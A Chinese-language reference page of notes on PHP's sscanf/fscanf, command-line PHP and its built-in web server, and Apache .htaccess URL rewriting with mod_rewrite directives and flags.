【 sscanf() 】 mixed sscanf ( string $str ,string $format [,mixed &$... ] ) 根据指定格式解析输入的字符,根据指定的格式解析来自字符串的输入 这个函数sscanf()输入类似printf()。sscanf()读取字符串str然后根据指定格式format解析,格式的描述文档见sprintf()。 指定的格式字符串中的任意空白匹配输入字符串的任意空白,也就是说即使是格式字符串中的一个制表符\t也能匹配输入字符串中的一个单一空格字符 str参数表示将要被解析的字符串. format参数The interpreted format for解析str的格式,除了以下不同外,其余的见sprintf()的描述文档: 1、函数不区分语言地区 2、F,g,G和b不被支持 3、D 表示十进制数字 4、i stands for integer with base detection. 5、n 代表目前已经处理的字符数。 6、s 遇到任意空格字符时停止读取。 ... 可以选参数将以引用方式传入,它们的值将被设置为解析匹配的值 返回值 如果仅传入了两个参数给这个函数解析后将返回一个数组,否则如果可选参数被传入,这个函数将返回被设置了值的个数 如果format存在的子字符串比str内可用的多,-1将被返回
【 fscanf() 】
mixed fscanf ( resource $handle ,string $format [,mixed &$... ] )
从文件中格式化输入,fscanf()函数和sscanf()相似,但是它从与handle关联的文件中接受输入并根据指定的format(定义于sprintf() 的文档中)来解释输入。
格式字符串中的任何空白会与输入流中的任何空白匹配。这意味着甚至格式字符串中的制表符\t也会与输入流中的一个空格字符匹配。
每次调用fscanf()都会从文件中读取一行
参数handle表示文件系统指针,是典型地由 fopen() 创建的 resource(资源)。
参数format表示参数格式是sprintf()文档中所描述的格式
返回值
如果只给此函数传递了两个参数,解析后的值会被作为数组返回。否则如果提供了可选参数,此函数将返回被赋值的数目。可选参数必须用引用传递
$handle = fopen("users.txt","r");
while ($userinfo = fscanf($handle,"%s\t%s\t%s\n")) {
list ($name,$profession,$countrycode) = $userinfo;
//... do something with the values
}
fclose($handle);
/*
users.txt文件中的内容
javier argonaut pe
hiroshi sculptor jp
robert slacker us
luigi florist it
*/
php-cli https://www.php.net/manual/zh/features.commandline.php
cmd> php -v 检测PHP版本信息 cmd> php -i 检测某种版本的PHP信息,调用phpinfo()函数并显示出结果 cmd> php -m 打印出内置以及已加载的PHP及Zend模块 从命令行运行php时诸如$_SESSION之类的服务器变量是无法在命令行中使用的,其他代码的运行则和web服务器中完全一样 在命令行中执行php文件的好处之一就是可以通过脚本实现一些计划任务(crontab)的执行,而无须通过web服务器随时可以运行带-h参数的PHP命令来查询这些参数
-c /path/to/php-ini 指定放置php.ini文件的目录,或直接指定一个自定义的INI文件,其文件名可以不是php.ini,如果不指定此选项PHP将在默认位置搜索文件 $ php -c /custom/directory/my_script.php $ php -c /custom/directory/custom-file.ini my_script.php 【 CLI SAPI模块有以下三种不同的方法来获取要运行的PHP代码,三种运行代码的方法不能同时使用 】 1、让PHP运行指定文件,如果是.php文件则执行php代码,否则直接以字符串形式读取文件 可以选择任何文件来运行,指定的PHP脚本并非必须要以.php为扩展名,它们可以有任意的文件名和扩展名 php 路径+php文件名 php -f 路径+php文件名 php my_script.php php -f "my_script.php" 2、在命令行直接运行单行PHP代码,cmd模式下编写PHP脚本,加上-r参数后加上开始和结束的标记符会导致语法错误 php -r "echo 'hello'.PHP_EOL;" php -r "echo '< br/>';" $ php -r "$foo = get_defined_constants();" Command line code(1) : Parse error - parse error,unexpected '=' 即使使用了双引号,sh/bash仍然实行了参数替换,由于$foo没有被定义,被替换后它所在的位置变成了空字符,因此在运行时实际被PHP读取的代码为: $ php -r " = get_defined_constants();" 正确的方法是使用单引号,在用单引号引用的字符串中变量不会被sh/bash还原成其原值。 3、通过标准输入(stdin)提供需要运行的PHP代码。 以上用法提供了非常强大的功能,使得可以动态地生成PHP代码并通过命令行运行这些代码: $ some_application | some_filter | php | sort -u >final_output.txt php -a PHP的交互模式运行php,control + c/z或exit退出交互模式 如果编译PHP时加入了Readline扩展(Windows下不可用),那将会得到一个很好的外壳,包括一个自动完成的功能(例如可以在键入变量名的时候,按下TAB键,PHP会自动完成该变量名)以及命令历史记录,可以用上下键来访问。历史记录存在~/.php_history文件中 linux系统下 $ php -a Interactive mode enabled php > echo "hello"; hello php > 但php -a不是所有环境都能很好的运行的,比如windows中就不能很好的支持 解决办法是enter > ctrl + z > enter,然后就执行了 这里的ctrl + z在linux上为ctrl + d;用这种方式可以执行一段测试代码,这样也就可以快速验证些东西了 4、将PHP用于bash脚本的方法 可在脚本第一行以#!/usr/bin/php开头,在其后加上以PHP开始和结尾标记符包含的正常的PHP代码,然后为该文件设置正确的运行属性如chmod +x test使其属性为可执行文件,该方法可以使得该文件能够像shell或PERL脚本一样被直接执行。 PHP的命令行模式能使得PHP脚本能完全独立于web服务器单独运行。 如果是Unix系统则需要在PHP脚本最前面加上一行特殊的代码使得它能够被执行,这样系统就知道用哪个程序去运行该脚本。 在Windows平台下可以将php.exe和.php文件的双击属性相关联,也可编写一个批处理文件来用PHP执行脚本。 为Unix系统增加的第一行代码不会影响该脚本在Windows下的运行,因此也可以用该方法编写跨平台的脚本程序
【 php-cli 】
PHP提供了一种新类型的CLI SAPI(Server Application Programming Interface,服务端应用编程端口)支持,名为CLI即Command Line Interface即命令行接口,即php在命令行运行的接口,区别于在Web服务器上运行的php环境php-cgi,isapi等,该CLI SAPI模块主要用作PHP的开发外壳应用。
CLI SAPI和其它CLI SAPI模块相比有很多的不同之处,CLI和CGI是不同的SAPI,尽管它们之间有很多共同的行为
PHP除了可以被web服务器调用,还可以通过cli模式运行,因为php本质上还是C语言写的程序
CLI是命令行版本,是在命令行里运行PHP用的
FPM是作为web服务器Apache或Nginx等服务器软件处理PHP文件的扩展,是通过web访问用的
php-cli区别于在Web服务器上运行的php环境,php不单可以写前台网页,它还可以用来写后台的程序,PHP的CLI shell脚本适用于所有的PHP
fpm和cli下的配置参数可以同一个文件,也可以分开,也有可能安装时根本没定义。出现和配置有关的问题时,或是出错,或是优化配置,根据不同的环境定位到了正确的配置文件才能精确解决
运行PHP CLI脚本
1、使用php -f /path/to/yourfile.php,调用PHP CLI解释器并给脚本传递参数。
这种方法首先要设置php解释器的路径,Windows平台在运行CLI之前需设置类似path c:\php的命令,也失去了CLI脚本第一行的意义,因此不建议使用该方法。
2、首先运行chmod +x script_name.file将该PHP文件置为可执行权限,然后在CLI脚本头部第一行加入声明(类似于#! /usr/bin/php或PHP CLI解释器位置),接着在命令行直接执行,这是CLI首选方法建议采用
CLI SAPI强制覆盖了php.ini中的某些设置,因为这些设置在外壳环境下是没有意义的
这些设置无法在设置文件php.ini或任何指定的其它文件中被初始化为其它值。这些默认值被限制在所有其它的设置文件被解析后改变。不过它们的值可以在程序运行的过程中被改变
1、html_errors默认FALSE,无意义的HTML标记符会使得出错信息很凌乱,所以在外壳下阅读报错信息是十分困难的,因此将该选项的默认值改为FALSE
2、implicit_flush默认TRUE,命令行模式下所有print和echo的输出将被立即写到输出端,而不作任何地缓冲操作。如果希望延缓或控制标准输出,仍可以使用output buffering设置项
3、max_execution_time默认0(无限值),鉴于在外壳环境下使用PHP的无穷的可能性,最大运行时间被设置为了无限值。为web开发的应用程序可能只需运行几秒钟时间,而外壳应用程序的运行时间可能会长的多。
4、register_argc_argv默认TRUE,由于该设置为TRUE,将总是可以在CLI SAPI中访问到argc(传送给应用程序参数的个数)和 argv(包含有实际参数的数组)。
Thinkphp5 命令行模式下执行控制器下的某方法
cd public && php index.php home/index/test
【 CLI专用常量 】
1、STDIN
一个已打开的指向stdin的流,无需自己来关闭这些流,PHP会自动完成这些操作
$stdin = fopen('php://stdin','r');
从stdin读取一行内容
$line = trim(fgets(STDIN)); // 从STDIN 读取一行
fscanf(STDIN,"%d\n",$number); // 从STDIN 读取数字
2、STDOUT
一个已打开的指向stdout的流
$stdout = fopen('php://stdout','w');
3、STDERR
一个已打开的指向stderr的流
$stderr = fopen('php://stderr','w');
php -r 'fwrite(STDERR,"stderr\n");'
【 PHP-cli应用场景 】
1.多线程应用
优点:
使用多进程,子进程结束以后,内核会负责回收资源
使用多进程,子进程异常退出不会导致整个进程Thread退出,父进程还有机会重建流程
一个常驻主进程,只负责任务分发,逻辑更清楚
php的多线程应用,虽然大家都普遍认为php没有多线程,curl属于模拟多线程而不是真实的,但在php_cli模式下的php彻底的是属于多线程,这个时候php属于linux的一个守护进程
PHP多线程批量采集下载图片的时候在采集程序里虽然使用curl来模拟多线程,但在浏览器执行时也是会遇到执行超时或内存abort而导致程序中断,要尝试几次才可彻底成功,但如果在php-cli模式下执行就会发现这个程序执行的很快,php多线程执行的优势被彻底表现出来了
这种多线程方式不是很成熟,不适合大规模的生成应用,偶尔使用还是可以的
2.定时执行php程序
cron服务是一个linux下的定时执行工具(Linux计划任务),可以在无需人工干预的情况下运行作业,周期性作业,比如备份数据
打开/etc/crontab添加: /usr/bin/php -f /data/htdocs/test.php
3.开发桌面程序
做Windows或Linux中使用PHP的图形用户界面GUI应用,所需要的是PHP的命令行接口和一包GTK,这将允许建立真正的便携式图形用户界面应用程序
4.编写PHP的shell脚本
不会bash shell或Perl等的使用但又需要一些脚本去执行时可使用php编写shell脚本
【 linux环境执行PHP文件 】
php安装在linux路径/usr/local/php/bin/php下
/usr/local/php/bin/php /usr/local/apache/htdocs/a.php就可以执行a.php文件
【 检测环境支持php_cli模式 】
if(PHP_SAPI === 'cli') //方法1
if(php_sapi_name() === 'cli') //方法2
【 PHP_CLI接收参数 】
和所有的外壳应用程序一样,PHP的二进制文件php.exe及其运行的PHP脚本能够接受一系列的参数,PHP没有限制传送给脚本程序的参数的个数
传递给脚本的参数可在全局变量$argv中获取,该数组中下标为零的成员为脚本的名称,当PHP代码来自标准输入获直接用-r参数以命令行方式运行时该名称为"-"
另外全局变量$argc存有$argv数组中成员变量的个数(而非传送给脚本程序的参数的个数)。
命令行下执行php是不走Apache/Nginx等这类东西的,没有什么http协议,所以get,post传参数根本不起作用,并且还会报错。有些时候需要在shell命令下把PHP当作脚本执行,比如定时任务,这就涉及到在shell命令下如何给php传参的问题,通常有三种方式传参。
A、使用$argv or $argc参数接收,全部以字符串形式接收
echo "接收到{$argc}个参数";
var_dump($argv);
B、使用getopt函数
$param_arr = getopt('a:b:');
print_r($param_arr);
C、提示用户输入
fwrite(STDOUT,'Please enter your name: ');
echo 'Your name is: '.fgets(STDIN);
向脚本传送以 - 开头的参数会导致错误,因为PHP会认为应该由它自身来处理这些参数。可以用参数列表分隔符--解决这个问题。在PHP解析完参数后,该符号后所有的参数将会被原样传送给脚本程序。
【 getopt() 】
getopt ( string $options [, array $longopts [, int &$optind ]] ) : array
从命令行参数列表中解析获取传入脚本的选项,返回选项/参数对,失败时返回ALSE
options参数
该字符串中的每个字符会被当做选项字符,匹配传入脚本的选项以单个连字符(-)开头,比如一个选项字符串"x"识别了一个选项-x,只允许a-Z和0-9
longopts参数
选项数组,此数组中的每个元素会被作为选项字符串,匹配了以两个连字符(--)传入到脚本的选项,例如长选项元素"opt"识别了一个选项--opt
optind参数
If the optind parameter is present, then the index where argument parsing stopped will be written to this variable
options可能包含了以下元素:
1.单独的字符(不接受值)
2.后面跟随冒号的字符(此选项需要值)
3.后面跟随两个冒号的字符(此选项的值可选)
选项的值是字符串后的第一个参数。如果需要一个值,它不介意值之前是否有前置的空格
选项的值不接受空格(" ")作为分隔符。
options和longopts的格式几乎是一样的,唯一的不同之处是longopts需要是选项的数组(每个元素为一个选项),而options需要一个字符串(每个字符是个选项)。
选项的解析会终止于找到的第一个非选项,之后的任何东西都会被丢弃
PHP内置服务器Web Server
PHP5.4.0+CLI SAPI提供了一个内置的Web服务器,主要用于本地开发使用,不可用于线上产品环境
URI请求会被发送到PHP所在的的工作目录(Working Directory)进行处理,除非使用了-t参数来自定义不同的目录。
如果请求未指定执行哪个PHP文件则默认执行目录内的index.php或index.html。如果这两个文件都不存在,服务器会返回404错误
当在命令行启动这个Web Server时,如果指定了一个PHP文件,则这个文件会作为一个"路由"脚本,意味着每次请求都会先执行这个脚本。如果这个脚本返回FALSE,那么直接返回请求的文件(例如请求静态文件不作任何处理),否则会把输出返回到浏览器
有时候需要在同一局域网中的另一台设备中访问这个服务器(例如iPad或本地虚拟机),为此可以把localhost换成0.0.0.0,让PHP Web服务器监听所有接口:
cmd> php -S 0.0.0.0:80 // 支持远程访问
linux后台运行释放控制台做其他操作同时屏蔽输出
$ sudo php -S localhost:80 > /dev/null 2>&1 &
$ sudo nohup php -S localhost:80 &
用法一:
启动一个位址为 http://localhost:8888/ 的PHP內建Web Server,方便做网站的测试
cmd> php -S localhost:8888 // started with ipv6 support only
cmd> php -S 127.0.0.1:8888 // starts server in ipv4 mode only
用法二: 默认的网站根目录为当前目录
cmd> php -S localhost:8888
cmd> php -S localhost:8888 -t . // 启动时指定根目录
cmd> PHP -S localhost:8000 -t public
用法三:
使用路由Router脚本
请求图片直接显示图片,请求HTML则显示"Welcome to PHP"
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/',$_SERVER["REQUEST_URI"]))
return false; // 直接返回请求的文件
else {
echo "Welcome to PHP\n";
}
// router.php
if (file_exists($_SERVER["DOCUMENT_ROOT"] . $_SERVER["REQUEST_URI"])) {
return false;
} else {
require __DIR__."/hello.php";
}
cmd> php -S localhost:8000 router.php
cmd> php -S localhost:8000 -t public router.php
cd /d C:\Web\Server
php -S localhost:80 router.php -n -d expose_php=0 -d display_errors=0 -d extension_dir="ext"
php -S localhost:80 router.php -t C:\Web\Server -n -d expose_php=0 -d display_errors=0 -d extension_dir="ext"
用法四: This is especially helpful for settings that cannot be set at runtime (ini_set()) cmd> php -S localhost:8000 -c php.ini 用法五: 1、修改hosts文件: /etc/hosts 127.0.0.1 www.example.com 2、cmd> php -S www.example.com:8000 3 Browser: http://www.example.com:8000/index.php 用法六: 资源管理器地址栏输入url会自动调用浏览器打开url you may find useful to have a phpserver.bat file in shell:sendto with the folowing: then for fast web testing you only have to SendTo a file or folder to this bat and it will open your explorer and run the server.判断PHP脚本使用的是PHP内置的Web服务器还是使用传统的Web服务器
if (php_sapi_name() == 'cli-server') {
// PHP内置Web服务器
} else {
// 其他Web服务器
}
【 缺点 】 PHP内置的Web服务器不能在生成环境使用,只能在本地开发环境中使用,这是因为其相比Apache或Nginx有诸多不足: 1、性能不佳。一次只能处理一个请求,其他请求会受到阻塞。如果某个进程耗时较长(数据库查询、远程API调用),则整个Web应用会陷入停顿状态。 2、支持媒体类型较少(这一点PHP 5.5.7以后有较大改进)。 3、路由脚本仅支持少量的URL重写,更高级则还是需要Apache或Nginx
.htaccess apache分布式配置文件 .htaccess的重定向—URL重写工具rewriting-tool
【 .htaccess的基本作用 】 .htaccess是一个纯文本文件,存放Apache服务器配置相关的指令,提供了一种目录级别的修改配置的方式,一个文件包含一条或多条配置指令放置于目录下,这些配置指令对当前目录和其所有子目录生效,可能还有更上层的文件目录中的.htaccess文件,配置指令按照它们被发现的顺序被应用,因此一个.htaccess文件中的配置指令可能会覆盖更上层的.htaccess文件及apache的主配置文件中的配置指令,管理员可以通过Apache的AllowOverride指令来设置 .htaccess主要的作用有: URL重写、自定义错误页面、MIME类型配置及访问权限控制等,主要体现在网页301重定向、伪静态的应用、图片防盗链、自定义404错误页面、改变文件扩展名、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护及使用其他文件作为index文件等一些功能 【 使用.htaccess文件的场合 】 应尽量避免用.htaccess文件,任何希望放在.htaccess文件中的配置都可以放在主配置文件的Directory段中,而且更高效。 .htaccess文件应该被用在内容提供者需要针对特定目录改变服务器的配置而又没有root权限的情况下。如果服务器管理员不愿意频繁修改配置,则可以允许用户通过.htaccess文件自己修改配置,尤其是ISP在同一个机器上运行了多个用户站点,而又希望用户可以自己改变配置的情况下。 避免使用.htaccess文件有两个主要原因。 1、性能。如果AllowOverride启用了.htaccess文件,则Apache需要在每个目录中查找.htaccess文件,以使所有有效的指令都起作用,对每一个请求都需要读取一次.htaccess文件,因此无论是否真正用到.htaccess都会导致性能的下降 2、安全。这样会允许用户自己修改服务器的配置,这可能会导致某些意想不到的修改,所以请认真考虑是否应当给予用户这样的特权。但如果给予用户较少的特权而不能满足其需要则会带来额外的技术支持请求,所以必须明确地告诉用户已经给予他们的权限,说明AllowOverride设置的值,并引导参阅相应的说明,以免日后生出许多麻烦。 在/www/htdocs/example目录下的.htaccess文件中放置指令,与在主配置文件中< Directory /www/htdocs/example>段中放置相同指令,是完全等效的,但把配置放在主配置文件中更加高效,因为只需要在Apache启动时读取一次,而不是在每次文件被请求时都读取。 /www/htdocs/example目录下的.htaccess文件的内容: AddType text/example .exm httpd.conf文件中摘录的内容: < Directory /www/htdocs/example> AddType text/example .exm Directory> 将AllowOverride设置为none可以完全禁止使用.htaccess文件: AllowOverride None 【 启用.htaccess的配置 】 启用.htaccess需要修改httpd.conf启用AllowOverride,并可以用AllowOverride限制特定命令的使用 如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。如需要使用.config则可在服务器配置文件中配置: AccessFileName .config打开httpd.conf文件查找
【 .htaccess访问控制 】 1、访问控制基础: Order命令 为了限制用户访问一些关键目录,通常加入.htaccess文件,常见的写法如下:
URL重写
整个.htaccess都是对当前url进行处理,每条重写规则处理的url是上一条的处理结果,即可能不再是原始的url,每次接收到一个请求时都会重新执行一遍该文件 Apache模块mod_rewrite提供了一个基于正则表达式分析器的重写引擎来实时重写URL请求。支持每个完整规则可以拥有不限数量的子规则及附加条件规则的灵活而且强大的URL操作机制。此URL操作可以依赖于各种测试,比如服务器变量、环境变量、HTTP头、时间标记,甚至各种格式的用于匹配URL组成部分的查找数据库 此模块可以操作URL的所有部分(包括路径信息部分),在服务器级的(httpd.conf)和目录级的(.htaccess)配置都有效,还可以生成最终请求字符串。此重写操作的结果可以是内部子处理,也可以是外部请求的转向,甚至还可以是内部代理处理
【 调试Apache的URL重写 】
方法1
用rewrite的日志文件,Apache的RewriteLog指令只能在conf文件中,不能在.htaccess文件
给virtualhost添加如下设置:
#Rewrite Log
RewriteLog logs/drupal001.com-rewrite.log #此处可以写绝对地址
RewriteLogLevel 3
方法2
在.htaccess的 RewriteEngine on 后面添加如下代码
#Should use vardump in Query
RewriteCond %{QUERY_STRING} vardump
RewriteRule (.*) http://www.baidu.com/?host=%{HTTP_HOST},rurl=%{REQUEST_URI} [R=302,L,QSA]
这样如果要调试某些变量,只需要在URL中加入vardump的query即可
如: http://www.drupal001.com/?vardump就会跳转到baidu.com,从URL后面的Query即可得到某些参数的值
Apache中 RewriteCond 规则参数
RewriteCond指令定义了重写规则生效的条件,即在一个RewriteRule指令之前可以有一个或多个RewriteCond指令。条件之后的重写规则仅在当前URI与Pattern匹配并且满足此处的条件(TestString能够与CondPattern匹配)时才会起作用
定义重写发生的条件
RewriteCond TestString CondPattern [flags]
作用域 server config,virtual host,directory,.htaccess
覆盖项 FileInfo
状态 扩展(E)
模块 mod_rewrite
【 TestString 】
一个纯文本的字符串,但还可以包含下列可扩展的成分:
1、RewriteRule反向引用,引用方法$N (0 <= N <= 9)引用当前(带有若干RewriteRule指令的)RewriteCond中的与Pattern匹配的分组成分(圆括号!)
2、RewriteCond反向引用,引用方法%N (1 <= N <= 9)引用当前若干RewriteCond条件中最后符合的条件中的分组成分(圆括号!)
3、RewriteMap扩展,引用方法是${mapname:key|default},细节请参见RewriteMap指令
4、服务器变量,这些变量都对应于类似命名的HTTP MIME头、Apache服务器的C变量、Unix系统中的struct tm字段,其中的大多数在其他的手册或CGI规范中都有说明
引用方法%{NAME_OF_VARIABLE},NAME_OF_VARIABLE可以是下表列出的字符串之一:
HTTP头:
HTTP_USER_AGENT
HTTP_REFERER
HTTP_COOKIE
HTTP_FORWARDED
HTTP_HOST # 当前访问的网址,只是指前缀部分,格式是www.xxx.com不包括"http://"和"/"
HTTP_PROXY_CONNECTION
HTTP_ACCEPT
连接与请求:
REMOTE_ADDR
REMOTE_HOST
REMOTE_PORT
REMOTE_USER
REMOTE_IDENT
REQUEST_METHOD
SCRIPT_FILENAME
PATH_INFO
QUERY_STRING
AUTH_TYPE
服务器自身:
DOCUMENT_ROOT
SERVER_ADMIN
SERVER_NAME
SERVER_ADDR
SERVER_PORT
SERVER_PROTOCOL
SERVER_SOFTWARE
日期和时间:
TIME_YEAR
TIME_MON
TIME_DAY
TIME_HOUR
TIME_MIN
TIME_SEC
TIME_WDAY
TIME
其它mod_rewrite特有变量:
THE_REQUEST # 由浏览器发送的完整HTTP请求行(如"GET /index.html HTTP/1.1"),不含任何浏览器发送的其它头信息
REQUEST_URI # 相对根目录的地址,域名/后的成分,包括最前面的"/",在HTTP请求行中所请求的资源(如"/index.html")
REQUEST_FILENAME # 与请求相匹配的完整的本地文件系统的文件路径名
IS_SUBREQ # 若正在处理的请求是一个子请求将包含字符串"true",模块为了解析URI中的附加文件,可能会产生子请求
HTTPS # 如果连接使用SSL/TLS将包含字符串"on",否则是"off"(无论mod_ssl是否已加载该变量都可安全使用)
API_VERSION # 这是正在使用中的Apache模块API(服务器和模块之间内部接口)的版本,其定义位于include/ap_mmn.h中。此模块API版本对应于正在使用的Apache的版本(如Apache 1.3.14的发行版中这个值是19990320:10) 通常对它感兴趣的是模块的开发者
注意事项:
1、SCRIPT_FILENAME和REQUEST_FILENAME包含的值是相同的,即Apache服务器内部的request_rec结构中的filename字段 第一个就是CGI变量名,而第二个则是REQUEST_URI(request_rec结构中的uri字段)的一个副本
2、特殊形式: %{ENV:variable} ,其中的variable可以是任意环境变量。它是通过查找Apache内部结构或(如果没找到)由Apache服务器进程通过getenv()得到的
3、特殊形式: %{SSL:variable} ,其中的variable可以是一个SSL环境变量的名字,无论mod_ssl模块是否已经加载都可以使用(未加载时为空字符串)。比如: %{SSL:SSL_CIPHER_USEKEYSIZE}将会被替换为128
4、特殊形式: %{HTTP:header} ,其中header可以是任意HTTP MIME头的名称。它总是可以通过查找HTTP请求而得到。比如: %{HTTP:Proxy-Connection}将被替换为Proxy-Connection:HTTP头的值
5、预设形式: %{LA-U:variable} ,variable的最终值在执行一个内部(基于URL的)子请求后确定 当需要使用一个目前未知但是会在之后的过程中设置的变量的时候,就可以使用这个方法。例如,需要在服务器级配置(httpd.conf文件)中根据REMOTE_USER变量进行重写,就必须使用%{LA-U:REMOTE_USER}。因为此变量是由URL重写(mod_rewrite)步骤之后的认证步骤设置的 但是另一方面,因为mod_rewrite是通过API修正步骤来实现目录级(.htaccess文件)配置的,而认证步骤先于API修正步骤,所以可以用%{REMOTE_USER}
6、预设形式: %{LA-F:variable} ,variable的最终值在执行一个内部(基于文件名的)子请求后确定 大多数情况下和上述的LA-U是相同的
【 CondPattern 】
条件模式,即一个应用于当前TestString实例的正则表达式。
TestString将被首先计算,然后再与CondPattern匹配
CondPattern是一个perl兼容的正则表达式,但是还有若干增补:
1、可以在CondPattern串的开头使用!指定不匹配
2、CondPatterns有若干特殊的变种。除了正则表达式的标准用法,还有下列用法:
'< CondPattern'(词典顺序的小于)
将CondPattern视为纯字符串,与TestString按词典顺序进行比较。如果TestString小于CondPattern则为真
'>CondPattern'(词典顺序的大于)
将CondPattern视为纯字符串,与TestString按词典顺序进行比较。如果TestString大于CondPattern则为真
'=CondPattern'(词典顺序的等于)
将CondPattern视为纯字符串,与TestString按词典顺序进行比较。如果TestString等于CondPattern(两个字符串逐个字符地完全相等)则为真。如果CondPattern是""(两个双引号),则TestString将与空字符串进行比较
'-d'(目录)
将TestString视为一个路径名并测试它是否为一个存在的目录
'-f'(常规文件)
将TestString视为一个路径名并测试它是否为一个存在的常规文件
'-s'(非空的常规文件)
将TestString视为一个路径名并测试它是否为一个存在的、尺寸大于0的常规文件
'-l'(符号连接)
将TestString视为一个路径名并测试它是否为一个存在的符号连接
'-x'(可执行)
将TestString视为一个路径名并测试它是否为一个存在的、具有可执行权限的文件。该权限由操作系统检测
'-F'(对子请求存在的文件)
检查TestString是否为一个有效的文件,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用!
'-U'(对子请求存在的URL)
检查TestString是否为一个有效的URL,而且可以在服务器当前的访问控制配置下被访问。它使用一个内部子请求来做检查,由于会降低服务器的性能,所以请谨慎使用!
3、可在CondPattern之后追加特殊的标记[flags]作为RewriteCond指令的第三个参数,flags是一个以逗号分隔的以下标记的列表:
'nocase|NC'(忽略大小写)
使测试忽略大小写,扩展后的TestString和CondPattern中'A-Z' 和'a-z'是没有区别的。
此标记仅用于TestString和CondPattern的比较,而对文件系统和子请求的检查不起作用
'ornext|OR'(或下一条件)
以OR方式组合若干规则的条件,而不是隐含的AND
RewriteCond %{REMOTE_HOST} ^host1.* [OR]
RewriteCond %{REMOTE_HOST} ^host2.* [OR]
RewriteCond %{REMOTE_HOST} ^host3.*
RewriteRule ...
针对这3个主机的规则集 ...如果不用这个标记,你就必须要书写三次条件/规则对
按请求头中的"User-Agent:"重写一个站点的主页
Apache中 RewriteRule 规则参数
RewriteRule指令是重写引擎的根本,可以多次使用,每个指令定义一个简单的重写规则
这些规则的定义顺序尤为重要,在运行时规则是按这个顺序逐一生效的
RewriteRule Pattern Substitution [flags]
1、Pattern是一个作用于当前URL的perl兼容的正则表达式。"当前URL"是指该规则生效时刻的URL的值。它可能与被请求的URL截然不同,因为其他规则可能在此之前已经发生匹配并对它做了改动
RewriteRule ^site/list/$ RestController.php?view=all [nc,qsa]
RewriteRule ^site/list/([0-9]+)/$ RestController.php?view=single&id=$1 [nc,qsa]
http://localhost/study/restful/demo/site/list/
http://localhost/study/restful/demo/site/list/1/
2、Substitution是当原始URL与Pattern相匹配时,用来替换的字符串。除了纯文本,还可以包含:
对Pattern的反向引用($N)
对最后匹配的RewriteCond的反向引用(%N)
规则条件测试字符串(%{VARNAME})中的服务器变量
映射函数调用(${mapname:key|default})
[flags]标记作为RewriteRule指令的第三个参数,是一个包含以逗号分隔的下列标记的列表:
'C|chain'(链接下一规则)
如果一个规则被匹配则继续处理其后继规则,也就是这个标记不起作用;如果该规则不被匹配则其后继规则将被跳过
'CO|cookie=NAME:VAL:domain[:lifetime[:path]]'(设置cookie)
在客户端设置一个cookie,lifetime是分钟
'E|env=VAR:VAL'(设置环境变量)
VAL可以包含可扩展的正则表达式反向引用($N和%N)
此标记可以多次使用以设置多个变量。这些变量可以在其后许多情况下被间接引用,通常是在XSSI(echo var="VAR")或CGI($ENV{'VAR'})中,也可以在后继的RewriteCond指令的CondPattern参数中通过%{ENV:VAR}引用
'F|forbidden'(强制禁止当前URL,反馈一个HTTP响应码403)
使用这个标记可以链接若干个RewriteConds来有条件地阻塞某些URL
'G|gone'(强制废弃当前URL,反馈一个HTTP响应码410)
使用这个标记可以标明页面已经被废弃而不存在了
'H|handler=Content-handler'(强制指定目标文件的内容处理器为Content-handler)
例如用来模拟mod_alias模块的ScriptAlias指令,以强制映射文件夹内的所有文件都由"cgi-script"处理器处理
'L|last'(结尾规则)
停止重写操作,并不再应用其他重写规则。这个标记用于阻止当前已被重写的URL被后继规则再次重写
'N|next'(从头再来)
重新从第一个规则开始执行重写操作。此时再次进行处理的URL已经不是原始的URL了,而是经最后一个重写规则处理过的URL。
不要制造死循环!
'NC|nocase'(忽略大小写)
在Pattern与当前URL匹配时,'A-Z'和'a-z'没有区别
'NE|noescape'(不对输出中的URI转义)
阻止mod_rewrite对重写结果应用常规的URI转义规则,以允许百分号等符号出现在输出中
一般情况下特殊字符('%','$',';'等)会被转义为等值的十六进制编码('%25','%24','%3B'等)
RewriteRule /foo/(.*) /bar?arg=P1\%3d$1 [R,NE] // 可以使'/foo/zed转向到一个安全的请求'/bar?arg=P1=zed'
'NS|nosubreq'(不对内部子请求进行处理)
在当前请求是一个内部子请求时,此标记强制重写引擎跳过该重写规则。比如在mod_include试图搜索目录默认文件index.xxx时,Apache会在内部产生子请求。对于子请求重写规则不一定有用,而且如果整个规则集都起作用,甚至可能会引发错误。所以可以用这个标记来排除某些规则
使用原则: 如果URL添加了CGI脚本前缀以强制它们由CGI脚本处理,但对子请求处理的出错率(或资源开销)很高,在这种情况下可以使用这个标记
'P|proxy'(强制为代理)
此标记使替换成分被内部地强制作为代理请求发送,并立即中断重写处理,然后把处理移交给已经启用了的mod_proxy模块。
必须确保此替换串是一个能够被mod_proxy处理的有效URI(如以http://hostname开头),否则将得到一个代理模块返回的错误。
使用这个标记可以把某些远程成分映射到本地服务器域名空间,从而增强了ProxyPass指令的功能
'PT|passthrough'(移交给下一个处理器)
此标记强制重写引擎将内部request_rec结构中的uri字段设置为filename字段的值,这个小小的修改使得RewriteRule指令的输出能够被(从URI转换到文件名的)Alias,ScriptAlias,Redirect等指令进行后续处理
如果要将/abc重写为/def,然后再使用mod_alias将/def转换为/ghi,可以这样:
RewriteRule ^/abc(.*) /def$1 [PT]
Alias /def /ghi
如果省略了PT标记,虽然将uri=/abc/...重写为filename=/def/...的部分运作正常,但是后续的mod_alias在试图将URI转换到文件名时会遭遇失效
若需混合使用多个将URI转换到文件名的模块时就必须使用这个标记,此处混合使用mod_alias和mod_rewrite就是个典型的例子
'QSA|qsappend'(追加查询字符串) queryStringAppend
此标记强制重写引擎在已有的替换字符串中追加一个查询字符串,而不是简单的替换,用于通过重写规则在请求串中增加信息
'R|redirect [=code]'(强制重定向)
若Substitution以http://thishost[:thisport]/(使新的URL成为一个URI)开头,可以强制性执行一个外部重定向。
code默认产生HTTP响应码302(临时性移动),还��指定300-400范围内的其他响应代码,或用符号名称: temp(默认),permanent,seeother
在使用这个标记时必须确保该替换字段是一个有效的URL,否则会指向一个无效的位置
此标记只对URL加上http://thishost[:thisport]/前缀,重写操作仍会继续进行,通常还使用'L'标记停止重写操作而立即重定向
'S|skip=num'(跳过当前匹配规则之后的继num个规则)
可以模拟if-then-else结构: 最后一个规则是then从句,而被跳过的skip=num个规则是else从句
'T|type=MIME-type'(强制目标文件的MIME类型为MIME-type)
